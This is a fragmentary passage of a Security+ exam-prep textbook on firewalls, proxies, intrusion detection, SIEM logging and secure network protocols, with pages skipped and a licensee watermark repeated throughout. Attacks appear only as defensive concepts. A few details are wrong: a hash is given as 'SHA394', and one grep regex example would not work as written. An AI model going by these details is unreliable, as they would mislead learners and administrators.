is to match any IP address that the local host is currently using. The ctstate rule is
a stateful rule that allows any traffic that is part of an established or related session.
As established connections should already have been allowed, this reduces processing
requirements to minimize impact on traffic flow.
The following command will insert a new rule as line 2 to allow traffic to the SSH server
TCP port (22) from the local subnet:
iptables -I INPUT 2 -p tcp -s 10.1.0.0/24 --dport 22
-j ACCEPT
Different switches can be used to append (-A), delete (-D), or replace (-R) rules.
Firewall Implementation
You should consider how the firewall is implemented—as hardware or software, for
instance—to cover a given placement or use on the network. Some types of firewalls
are better suited for placement at the network edge or zonal borders; others are
designed to protect individual hosts.
Firewall Appliances
An appliance firewall is a stand-alone hardware firewall deployed to monitor traffic
passing into and out of a network zone. A firewall appliance can be deployed in two
ways:
• Routed (layer 3)—the firewall performs forwarding between subnets. Each interface
on the firewall connects to a different subnet and represents a different security
zone.
• Bridged (layer 2)—the firewall inspects traffic passing between two nodes, such
as a router and a switch. This is also referred to as transparent mode. The firewall
does not have an IP interface (except for configuration management). It bridges the
Ethernet interfaces between the two nodes. Despite performing forwarding at layer
2, the firewall can still inspect and filter traffic on the basis of the full range of packet
headers. The typical use case for a transparent firewall is to deploy it without having
to reconfigure subnets and reassign IP addresses on other devices.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
260 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Cisco ASA (Adaptive Security Appliance) ASDM (Adaptive Security Device Manager) interface.
(Screenshot used with permission from Cisco.)
Application-Based Firewalls
Firewalls can also run as software on any type of computing host. There are several
types of application-based firewalls:
• Host-based firewall (or personal firewall)—implemented as a software
application running on a single host designed to protect that host only. As well as
enforcing packet filtering ACLs, a personal firewall can be used to allow or deny
software processes from accessing the network.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 261
The amount of rebuilding depends on the proxy. Some proxies may only manipulate the
IP and TCP headers. Application-aware proxies might add or remote HTTP headers. A deep
packet inspection proxy might be able to remove content from an HTTP payload.
Configuring content filter settings for the Squid proxy server (squid-cache.org) running on pfSense.
The filter can apply ACLs and time-based restrictions, and use blacklists to prohibit access to URLs.
(Screenshot used with permission from Rubicon Communications, LLC.)
The main benefit of a proxy is that client computers connect to a specified point on
the perimeter network for web access. The proxy can be positioned within a DMZ.
This provides for a degree of traffic management and security. In addition, most web
proxy servers provide caching engines, whereby frequently requested web pages
are retained on the proxy, negating the need to re-fetch those pages for subsequent
requests.
A proxy server must understand the application it is servicing. For example, a web
proxy must be able to parse and modify HTTP and HTTPS commands (and potentially
HTML and scripts too). Some proxy servers are application-specific; others are
multipurpose. A multipurpose proxy is one configured with filters for multiple protocol
types, such as HTTP, FTP, and SMTP.
Proxy servers can generally be classed as non-transparent or transparent.
• A non-transparent proxy means that the client must be configured with the proxy
server address and port number to use it. The port on which the proxy server
accepts client connections is often configured as port 8080.auto
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
262 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Configuring transparent proxy settings for the Squid proxy server (squid-cache.org) running on pfSense.
(Screenshot used with permission from Rubicon Communications, LLC.)
A proxy autoconfiguration (PAC) script allows a client to configure proxy settings without
user intervention. The Web Proxy Autodiscovery (WPAD) protocol allows browsers to locate
a PAC file. This can be an attack vector, as a malicious proxy on the local network can be
used to obtain the user's hash as the browser tries to authenticate (nopsec.com/responder-
beyond-wpad).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 263
Sample firewall ruleset configured on pfSense. This ruleset blocks all traffic from bogon networks and
a specific private address range but allows any HTTP, HTTPS, or SMTP traffic from any other source.
(Screenshot used with permission from Rubicon Communications, LLC.)
Each rule can specify whether to block or allow traffic based on several parameters,
often referred to as tuples. If you think of each rule being like a row in a database, the
tuples are the columns. For example, in the previous screenshot, the tuples include
Protocol, Source (address), (Source) Port, Destination (address), (Destination) Port, and
so on.
Even the simplest packet filtering firewall can be complex to configure securely. It is
essential to create a written policy describing what a filter ruleset should do and to test
the configuration as far as possible to ensure that the ACLs you have set up work as
intended. Also test and document changes made to ACLs. Some other basic principles
include:
• Block incoming requests from internal or private IP addresses (that have obviously
been spoofed).
• Block incoming requests from protocols that should only be functioning at a local
network level, such as ICMP, DHCP, or routing protocol traffic.
• Use penetration testing to confirm the configuration is secure. Log access attempts
and monitor the logs for suspicious activity.
• Take the usual steps to secure the hardware on which the firewall is running and
use of the management interface.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
264 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
A NAT gateway is a service that translates between the private addressing scheme
used by hosts on the LAN and the public addressing scheme used by router, firewall,
or proxy server on the network edge. NAT provides security in the sense that it can
manage ingress and egress traffic at well-defined points on the network edge, but it is
important to realize that it does not perform a filtering function.
There are several types of NAT:
• Static and dynamic source NAT—perform 1:1 mappings between private ("inside
local") network address and public ("inside global") addresses. These mappings can
be static or dynamically assigned.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 265
Configuring port forwarding on a pfSense firewall appliance—This rule forwards any HTTP
traffic received on the appliance's WAN interface to the 10.1.0.10 host on the LAN.
(Screenshot used with permission from pfsense.org.)
The larger IPv6 address space makes most use cases for NAT redundant. A host can use a
link-local address to contact neighboring nodes, but any routed traffic should use a globally
unique address. In IPv6 it is routing policies and firewall filtering that manage which hosts
and networks are reachable. That said, there are mechanisms for translating prefixes at the
network edge (NPTv6) and for translation between IPv6 addresses (NAT66) or IPv6 and IPv4
addresses (NAT64 and NAT46).
Virtual Firewalls
Virtual firewalls are usually deployed within data centers and cloud services. A virtual
firewall can be implemented in three different ways:
• Hypervisor-based—this means that filtering functionality is built into the hypervisor
or cloud provisioning tool. You can use the cloud's web app or application
programming interface (API) to write access control lists (ACLs) for traffic arriving or
leaving a virtual host or virtual network.
While they can be deployed like "regular" firewalls for zone-based routing and filtering,
virtual firewalls most significant role is to support the east-west security and zero-trust
microsegmentation design paradigms. They are able to inspect traffic as it passes from
host-to-host or between virtual networks, rather than requiring that traffic be routed
up to a firewall appliance and back.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
266 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 267
Review Activity:
Firewalls and Proxy Servers
Answer the following questions:
1. True or False? As they protect data at the highest layer of the protocol
stack, application-based firewalls have no basic packet filtering
functionality.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
268 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 10B
Implement Network
Security Monitoring
Intrusion detection and prevention systems are mature security technologies, widely
deployed to monitor company networks. A large part of the monitoring and alerting
data you will be analyzing will come from these systems so it is important that you
be able to install them to appropriate locations in the network and configure them
correctly.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 269
Viewing an intrusion detection alert generated by Snort in the Kibana app on Security Onion.
(Screenshot Security Onion securityonion.net)
• Passive test access point (TAP)—this is a box with ports for incoming and outgoing
network cabling and an inductor or optical splitter that physically copies the signal
from the cabling to a monitor port. There are types for copper and fiber optic
cabling. Unlike a SPAN, no logic decisions are made so the monitor port receives
every frame—corrupt or malformed or not—and the copying is unaffected by load.
• Active TAP—this is a powered device that performs signal regeneration (again, there
are copper and fiber variants), which may be necessary in some circumstances.
Gigabit signaling over copper wire is too complex for a passive tap to monitor and
some types of fiber links may be adversely affected by optical splitting. Because it
performs an active function, the TAP becomes a point of failure for the links in the
event of power loss. When deploying an active TAP, it is important to use a model
with internal batteries or connect it to a UPS.
A TAP will usually output two streams to monitor a full-duplex link (one channel for
upstream and one for downstream). Alternatively, there are aggregation TAPs, which
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
270 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
rebuild the streams into a single channel, but these can drop frames under very
heavy load.
Signature-Based Detection
In an IDS, the analysis engine is the component that scans and interprets the traffic
captured by the sensor with the purpose of identifying suspicious traffic. The analysis
engine determines how any given event should be classed, with typical options to
ignore, log only, alert, and block (IPS). The analysis engine is programmed with a set
of rules that it uses to drive its decision-making process. There are several methods of
formulating the ruleset.
Signature-based detection (or pattern-matching) means that the engine is loaded
with a database of attack patterns or signatures. If traffic matches a pattern, then the
engine generates an incident.
Snort rules file supplied by the open-source Emerging Threats community feed.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 271
The signatures and rules (often called plug-ins or feeds) powering intrusion detection
need to be updated regularly to provide protection against the latest threat types.
Commercial software requires a paid-for subscription to obtain the updates. It
is important to ensure that the software is configured to update only from valid
repositories, ideally using a secure connection method, such as HTTPS.
• Network traffic analysis (NTA)—these products are closer to IDS and NBAD in
that they apply analysis techniques only to network streams, rather than multiple
network and log data sources.
Often behavioral- and anomaly-based detection are taken to mean the same thing (in
the sense that the engine detects anomalous behavior). Anomaly-based detection can
also be taken to mean specifically looking for irregularities in the use of protocols. For
example, the engine may check packet headers or the exchange of packets in a session
against RFC standards and generate an alert if they deviate from strict RFC compliance.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
272 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
single console. Nevertheless, UTM has some downsides. When defense is unified under
a single system, this creates the potential for a single point of failure that could affect
an entire network. Distinct security systems, if they fail, might only compromise that
particular avenue of attack. Additionally, UTM systems can struggle with latency issues
if they are subject to too much network activity. Also, a UTM might not perform as well
as software or a device with a single dedicated security function.
To some extent, NGFW and UTM are just marketing terms. A UTM is seen as turnkey "do
everything" solution, while a NGFW is an enterprise product with fewer features, or more
modularization, and greater configuration complexity, but better performance. It can be
more helpful to focus on the specific product features, rather than trying to present an
implementation decision as a choice of either a NGFW or a UTM.
Content/URL Filter
A firewall has to sustain high loads, and overloads can increase latency or even cause
outages. The high complexity of application-aware NGFW and UTM solutions can
reduce their suitability as an edge device, because while they might provide high
confidentiality and integrity, lower throughput reduces availability. One solution to this
is to treat security solutions for server traffic differently from that for user traffic. User
traffic refers to web browsing, social networking, email, and video/VoIP connections
initiated by local network clients.
Consequently, where a stateful or NGFW firewall may be deployed for application
server traffic, the job of filtering user traffic is often performed by a separate appliance
or proxy host. A content filter is designed to apply a number of user-focused filtering
rules, such as blocking uniform resource locators (URLs) that appear on content
blacklists or applying time-based restrictions to browsing. Content filters are now
usually implemented as a class of product called a secure web gateway (SWG). As well
as filtering, a SWG performs threat analysis and often integrates the functionality of
data loss prevention (DLP) and cloud access security brokers (CASB) to protect against
the full range of unauthorized egress threats, including malware command and control
and data exfiltration.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 273
With the ModSecurity WAF installed to this IIS server, a scanning attempt has been detected and logged
as an Application event. As you can see, the default ruleset generates a lot of events.
(Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
274 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Network Security Monitoring
Answer the following questions:
1. What is the best option for monitoring traffic passing from host-to-host on
the same switch?
4. If a Windows system file fails a file integrity check, should you suspect a
malware infection?
5. What is a WAF?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 275
Topic 10C
Summarize the Use of SIEM
There are many types of security controls that can be deployed to protect networks,
hosts, and data. One thing that all these controls have in common is that they
generate log data and alerts. Reviewing this output is one of the principal challenges
in information security management. As a security professional, you must be able to
describe, install, and configure systems to manage logging and events.
Monitoring Services
Security assessments and incident response both require real-time monitoring of host
and network status indicators plus audit information.
Packet Capture
Data captured from network sensors/sniffers plus netflow sources provides both
summary statistics about bandwidth and protocol usage and the opportunity for
detailed frame analysis.
Network Monitors
As distinct from network traffic monitoring, a network monitor collects data about
network appliances, such as switches, access points, routers, firewalls, and servers. This
is used to monitor load status for CPU/memory, state tables, disk capacity, fan speeds/
temperature, network link utilization/error statistics, and so on. Another important
function is a heartbeat message to indicate availability. This data might be collected
using the Simple Network Management Protocol (SNMP) or a proprietary management
system. As well as supporting availability, network monitoring might reveal unusual
conditions that could point to some kind of attack.
Logs
Logs are one of the most valuable sources of security information. A system log can
be used to diagnose availability issues. A security log can record both authorized and
unauthorized uses of a resource or privilege. Logs function both as an audit trail of
actions and (if monitored regularly) provide a warning of intrusion attempts. Log review
is a critical part of security assurance. Only referring to the logs following a major
incident is missing the opportunity to identify threats and vulnerabilities early and to
respond proactively.
Logs typically associate an action with a particular user. This is one of the reasons that it
is critical that users not share logon details. If a user account is compromised, there is no
means of tying events in the log to the actual attacker.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
276 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
OSSIM SIEM dashboard—Configurable dashboards provide the high-level status view of network
security metrics. (Screenshot used with permission from AT&T Cybersecurity.)
Log Collection
The first task for SIEM is to collect data inputs from multiple sources. There are three
main types of log collection:
• Agent-based—with this approach, you must install an agent service on each host. As
events occur on the host, logging data is filtered, aggregated, and normalized at the
host, then sent to the SIEM server for analysis and storage.
• Sensor—as well as log data, the SIEM might collect packet captures and traffic flow
data from sniffers.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 277
Enabling a log parser plug-in for a pfSense security appliance so that firewall events can be imported
into the SIEM. (Screenshot used with permission from AT&T Cybersecurity.)
Log Aggregation
As distinct from collection, aggregation refers to normalizing data from different
sources so that it is consistent and searchable. SIEM software features connectors
or plug-ins to interpret (or parse) data from distinct types of systems and to account
for differences between vendor implementations. Usually parsing will be carried out
using regular expressions tailored to each log file format to identify attributes and
content that can be mapped to standard fields in the SIEM's reporting and analysis
tools. Another important function is to normalize date/time zone differences to a
single timeline.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
278 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
determining baselines and reducing false positives means that UEBA solutions are
heavily dependent on AI and machine learning. Examples include Microsoft's Advanced
Threat Analytics (docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) and
Splunk UEBA (splunk.com/en_us/software/user-behavior-analytics.html).
Sentiment Analysis
One of the biggest challenges for behavior analytics driven by machine learning is
to identify intent. It is extremely difficult for a machine to establish the context and
interpretation of statements in natural language, though much progress is being made.
The general efforts in this area are referred to as sentiment analysis, or emotion
AI. The typical use case for sentiment analysis is to monitor social media for brand
"incidents," such as a disgruntled customer announcing on Twitter what poor customer
service they have just received. In terms of security, this can be used to gather threat
intelligence and try to identify external or insider threats before they can develop as
attacks.
File Manipulation
While SIEM can automate many functions of log collection and review, you may also
have to manually prepare data using a Linux command line.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 279
writes the name of the local machine along with the text "up" to the syslog server at
10.1.0.242:
logger -n 10.1.0.242 `hostname` up
• + matches one or more occurrences. A quantifier is placed after the term to match;
for example, \s+ matches one or more white space characters.
A complete description of regex syntax is beyond the scope of this course, but you can use
an online reference such as regexr.com or rexegg.com to learn it.
The grep command invokes simple string matching or regex syntax to search text files
for specific strings. This enables you to search the entire contents of a text file for a
specific pattern within each line and display that pattern on the screen or dump it to
another file. A simple example of grep usage is as follows:
grep -F 192.168.1.254 access.log
This searches the text file access.log for all lines containing some variation of the literal
string pattern 192.168.1.254 and prints only those lines to the terminal. The -F
switch instructs grep to treat the pattern as a literal.
The following example searches for any IP address in the 192.168.1.0/24 subnet using
regex syntax for the pattern (note that each period must be escaped) within any file in
any directory from the current one. The -r option enables recursion, while the period
in the target part indicates the current directory:
grep -r 192\.168\.1\.[\d]{1,3}
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
280 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Use of SIEM
Answer the following questions:
4. You are writing a shell script to display the last 5 lines of a log file at /var/
log/audit in a dashboard. What is the Linux command to do this?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 281
Lesson 10
Summary
You should be able to use network appliances such as firewalls, proxies, IDS, and SIEM
collectors/aggregators to implement secure network designs.
• Document and test the ACL or other security configuration when implementing the
device to ensure that it meets the design goals.
• Manual methods using syslog and file manipulation tools (head, tail, cat, grep,
logger).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 11
Implementing Secure
Network Protocols
LESSON INTRODUCTION
When hosts join a network, they need to be configured with the appropriate settings
for that network. The services that provide these settings, such as DHCP and DNS,
must be deployed securely. When hosts access data using server applications, such
as web/HTTP, email, and VoIP, the communications between clients and servers must
be managed using secure versions of the application protocols. You will also need to
configure secure protocols that allow users to access networks, host desktops, and
appliance configuration interfaces remotely.
Lesson Objectives
In this lesson, you will:
• Implement secure network operations protocols.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
284 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 11A
Implement Secure Network
Operations Protocols
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 285
Attacking network address allocation—a script exhausts the DHCP pool while another runs a rogue
DHCP server. A third tool operates a rogue DNS to supply spoofed information to clients configured to
use the attack machine as a DNS server, via the rogue DHCP configuration.
Domain Hijacking
Domain hijacking is an attack where an adversary acquires a domain for a company's
trading name or trademark, or perhaps some spelling variation thereof. While there
are often trademark and intellectual property laws against doing this, companies need
to be careful to renew domain names that they want to continue to use and to protect
the credentials used to manage the registration. A domain name must be re-registered
every year.
In a domain hijacking attack an adversary gains control over the registration of a
domain name, allowing the host records to be configured to IP addresses of the
attacker's choosing. This might be accomplished by supplying false credentials to the
domain registrar when applying for a new domain name or re-registering an existing
one. An attacker might also be able to exploit the legitimate account used to manage
the domain (via a weak password or malware installed on a client computer) or even
to compromise the domain registrar's security procedures in some way (upguard.com/
blog/domain-hijacking).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
286 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
A company whose domain has been hijacked is likely to find that they are locked out
of the registrar's management console, or that the domain has been transferred to
another registrar, often operating in a different country. The whois command can be
used to lookup domain registration information to try to detect misuse in other cases.
Domain Reputation
If your domain, website, or email servers have been hijacked, they are likely to be used
for spam or distributing malware. This will lead to complaints and the likelihood of the
domain being listed on a blacklist. You should set up monitoring using a site such as
talosintelligence.com/reputation_center to detect misuse early.
DNS Poisoning
DNS poisoning is an attack that compromises the process by which clients query
name servers to locate the IP address for a FQDN. There are several ways that a DNS
poisoning attack can be perpetrated.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 287
DNS Security
DNS is a critical service that should be configured to be fault tolerant. DoS attacks
are hard to perform against the servers that perform Internet name resolution, but if
an attacker can target the DNS server on a private network, it is possible to seriously
disrupt the operation of that network.
To ensure DNS security on a private network, local DNS servers should only accept
recursive queries from local hosts (preferably authenticated local hosts) and not from
the Internet. You also need to implement access control measures on the server, to
prevent a malicious user from altering records manually. Similarly, clients should be
restricted to using authorized resolvers to perform name resolution.
Attacks on DNS may also target the server application and/or configuration. Many
DNS services run on BIND (Berkley Internet Name Domain), distributed by the Internet
Software Consortium (isc.org). There are known vulnerabilities in many versions of the
BIND server, so it is critical to patch the server to the latest version. The same general
advice applies to other DNS server software, such as Microsoft's. Obtain and check
security announcements and then test and apply critical and security-related patches
and upgrades.
DNS footprinting means obtaining information about a private network by using
its DNS server to perform a zone transfer (all the records in a domain) to a rogue
DNS or simply by querying the DNS service, using a tool such as nslookup or
dig. To prevent this, you can apply an Access Control List to prevent zone transfers
to unauthorized hosts or domains, to prevent an external server from obtaining
information about the private network architecture.
DNS Security Extensions (DNSSEC) help to mitigate against spoofing and poisoning
attacks by providing a validation process for DNS responses. With DNSSEC enabled,
the authoritative server for the zone creates a "package" of resource records (called an
RRset) signed with a private key (the Zone Signing Key). When another server requests
a secure record exchange, the authoritative server returns the package along with its
public key, which can be used to verify the signature.
The public zone signing key is itself signed with a separate Key Signing Key. Separate
keys are used so that if there is some sort of compromise of the zone signing key, the
domain can continue to operate securely by revoking the compromised key and issuing
a new one.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
288 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Windows Server DNS services with DNSSEC enabled. (Screenshot used with permission from Microsoft.)
The Key Signing Key for a particular domain is validated by the parent domain or
host ISP. The top-level domain trusts are validated by the Regional Internet Registries
and the DNS root servers are self-validated, using a type of M-of-N control group key
signing. This establishes a chain of trust from the root servers down to any particular
subdomain.
• Simple bind—the client must supply its distinguished name (DN) and password, but
these are passed as plaintext.
• Simple Authentication and Security Layer (SASL)—the client and server negotiate
the use of a supported authentication mechanism, such as Kerberos. The STARTTLS
command can be used to require encryption (sealing) and message integrity
(signing). This is the preferred mechanism for Microsoft's Active Directory (AD)
implementation of LDAP.
• LDAP Secure (LDAPS)—the server is installed with a digital certificate, which it uses
to set up a secure tunnel for the user credential exchange. LDAPS uses port 636.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 289
Time Synchronization
Many applications on networks are time dependent and time critical. These include
authentication and security mechanisms, scheduling applications, and backup
software. The Network Time Protocol (NTP) provides a transport over which to
synchronize these time dependent applications. NTP works over UDP on port 123.
Top-level NTP servers (stratum 1) obtain the Coordinated Universal Time (UTC) from
a highly accurate clock source, such as an atomic clock. Lower tier servers then
obtain the UTC from multiple stratum 1 servers and sample the results to obtain an
authoritative time. Most organizations will use one of these stratum 2 servers to obtain
the time for use on the LAN. Servers at lower tiers may then perform the same sort of
sampling operation, adjust for the delay involved in propagating the signal, and provide
the time to clients. Clients themselves usually obtain the time using a modified form of
the protocol (Simple NTP).
NTP has historically lacked any sort of security mechanism, but there are moves
to create a security extension for the protocol called Network Time Security
(blog.cloudflare.com/secure-time).
• This agent maintains a database called a management information base (MIB) that
holds statistics relating to the activity of the device (for example, the number of
frames per second handled by a switch). The agent is also capable of initiating a trap
operation where it informs the management system of a notable event (port failure,
for instance). The threshold for triggering traps can be set for each value. Device
queries take place over port 161 (UDP); traps are communicated over port 162 (also
UDP).
• The SNMP monitor (a software program) provides a location from which network
activity can be overseen. It monitors all agents by polling them at regular intervals
for information from their MIBs and displays the information for review. It also
displays any trap operations as alerts for the network administrator to assess and
act upon as necessary.
If SNMP is not used, you should remember to change the default configuration
password and disable it on any SNMP-capable devices that you add to the network. If
you are running SNMP v1 or v2c, keep to the following guidelines:
• SNMP community names are sent in plaintext and so should not be transmitted
over the network if there is any risk that they could be intercepted.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
290 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Use difficult to guess community names; never leave the community name blank or
set to the default.
• Use Access Control Lists to restrict management operations to known hosts (that is,
restrict to one or two host IP addresses).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 291
Review Activity:
Secure Network Operations Protocols
Answer the following questions:
3. True or false? The contents of the HOSTS file are irrelevant as long as a DNS
service is properly configured.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
292 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 11B
Implement Secure Application Protocols
The network infrastructure of switches, routers, access points, and secure hosts is
implemented for the purpose of running services. The application protocols that
enable web, email, and VoIP require secure configuration too.
Many argue that HTTP is a stateful protocol. Version 2 of HTTP adds more state-preserving
features (blog.zamicol.com/2017/05/is-http2-stateful-protocol-application.html).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 293
HTTPS operates over port 443 by default. HTTPS operation is indicated by using https:// for
the URL and by a padlock icon shown in the browser.
It is also possible to install a certificate on the client so that the server can trust the
client. This is not often used on the web but is a feature of VPNs and enterprise
networks that require mutual authentication.
SSL/TLS Versions
While the acronym SSL is still used, the Transport Layer Security versions are the only
ones that are safe to use. A server can provide support for legacy clients, but obviously
this is less secure. For example, a TLS 1.2 server could be configured to allow clients to
downgrade to TLS 1.1 or 1.0 or even SSL 3.0 if they do not support TLS 1.2.
A downgrade attack is where a man-in-the-middle tries to force the use of a weak cipher
suite and SSL/TLS version.
TLS version 1.3 was approved in 2018. One of the main features of TLS 1.3 is the
removal of the ability to perform downgrade attacks by preventing the use of unsecure
features and algorithms from previous versions. There are also changes to the
handshake protocol to reduce the number of messages and speed up connections.
Cipher Suites
A cipher suite is the algorithms supported by both the client and server to perform the
different encryption and hashing operations required by the protocol. Prior to TLS 1.3,
a cipher suite would be written in the following form:
ECDHE-RSA-AES128-GCM-SHA256
This means that the server can use Elliptic Curve Diffie-Hellman Ephemeral mode for
session key agreement, RSA signatures, 128-bit AES-GCM (Galois Counter Mode) for
symmetric bulk encryption, and 256-bit SHA for HMAC functions. Suites the server
prefers are listed earlier in its supported cipher list.
TLS 1.3 uses simplified and shortened suites. A typical TLS 1.3 cipher suite appears
as follows:
TLS_AES_256_GCM_SHA384
Only ephemeral key agreement is supported in 1.3 and the signature type is supplied
in the certificate, so the cipher suite only lists the bulk encryption key strength and
mode of operation (AES_256_GCM), plus the cryptographic hash algorithm (SHA394)
used within the new hash key derivation function (HKDF). HKDF is the mechanism by
which the shared secret established by D-H key agreement is used to derive symmetric
session keys.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
294 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Viewing the TLS handshake in a Wireshark packet capture. Note that the connection is using TLS 1.3
and one of the shortened cipher suites (TLS_AES_256_GCM_SHA384).
API Considerations
HTTP is now used less to serve static web pages, and more to create web applications,
often as part of a cloud product. An enterprise might use both public web applications
over the Internet and private ones. The primary means of configuring and managing a
web application is via its application programming interface (API). For example, an
application might allow a user account to be created via a URL:
https://example.foo/api/users?api_key=123456
The developer uses the POST method to submit data to the URL with the required
parameters coded into the request body, often in JavaScript Object Notation (JSON).
POST /api/users HTTP/1.1
Content-Type: application/json
{
"user": {
"name": "James",
"email": "jpengelly@comptia.org"
}
}
Use of these APIs is authorized via a token or secret key. Effective management of
these API secrets is a key consideration in modern networks, as they have been widely
used to perpetrate various breaches and data thefts. For example, putting the key in
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 295
the URL carries a severe risk of exposure. APIs can use more secure authentication
and authorization methods, such as SAML and OAuth, but these still come with
secrets management requirements. Another API consideration is that usage should be
monitored to ensure only authorized endpoints are making transactions.
Subscription Services
Employees may require access to all kinds of subscription services. Some examples
include:
• Market and financial intelligence and information.
• Reference and training materials in various formats (ebook and video, for instance).
• Software applications and cloud services paid for by subscription rather than
permanent licenses.
Most of this sort of content will be delivered by a secure web site or cloud application.
It may be necessary to provision authentication mechanisms for enterprise single sign-
on (SSO) access to the services.
Another use of subscriptions is a web feed, where updated articles or news items
are pushed to the client or browser. Web feeds are based on either the Really Simple
Syndication (RSS) or Atom formats, both of which use XML to mark up each document
supplied by the feed. It is possible that such feeds may be vulnerable to XML injection
style attacks, allowing an attacker to show malicious links or even interact with the file
system (https://mikeknoop.com/lxml-xxe-exploit).
Subscription services may also describe the outsourcing of network and security
components and procedures. There may also be subscription use of enterprise cloud
applications, which may be mediated by an access broker.
You should check that users do not install unauthorized servers on their PCs (a rogue
server). For example, a version of IIS that includes HTTP, FTP, and SMTP servers is shipped
with client versions of Windows, though it is not installed by default.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
296 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Implicit TLS (FTPS)—negotiate an SSL/TLS tunnel before the exchange of any FTP
commands. This mode uses the secure port 990 for the control connection.
FTPS is tricky to configure when there are firewalls between the client and server.
Consequently, FTPES is usually the preferred method.
Email Services
Email services use two types of protocols:
• The Simple Mail Transfer Protocol (SMTP) specifies how mail is sent from one
system to another.
• A mailbox protocol stores messages for users and allows them to download them to
client computers or manage them on the server.
• SMTPS—this establishes the secure connection before any SMTP commands (HELO,
for instance) are exchanged. This is also referred to as implicit TLS.
The STARTTLS method is generally more widely implemented than SMTPS. Typical
SMTP configurations use the following ports and secure services:
• Port 25—used for message relay (between SMTP servers or Message Transfer
Agents [MTA]). If security is required and supported by both servers, the STARTTLS
command can be used to set up the secure connection.
• Port 465—some providers and mail clients use this port for message submission
over implicit TLS (SMTPS), though this usage is now deprecated by standards
documentation.
